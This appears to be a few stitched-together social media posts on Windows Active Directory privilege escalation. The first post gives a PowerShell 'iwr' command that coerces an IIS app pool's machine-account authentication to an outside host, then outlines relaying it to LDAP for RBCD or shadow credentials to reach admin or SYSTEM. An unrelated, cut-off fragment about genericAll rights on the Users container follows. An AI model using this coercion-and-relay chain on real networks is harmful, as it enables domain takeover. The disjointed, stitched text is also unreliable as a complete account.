Did you know you didn't need to use a potatoes exploit to going from iis apppool account to admin or system ?

Simply use:
powershell iwr http://192.168.56.1 -UseDefaultCredentials
To get an HTTP coerce of the machine account.
👇🧵 than relay to Ldap and :
- start_tls + add a computer to the domain + RBCD
or
- shadow credentials

Example with RBCD :

The answer is not simple ^^ a small thread 🧵

https://twitter.com/tK4w8TmK40dNU0a/status/1600688928323174401?s=20&t=PWAf5xlsBXLsTcFo99b9kw

So you have genericAll on the Users container.
The first thing to do is check the inheritance.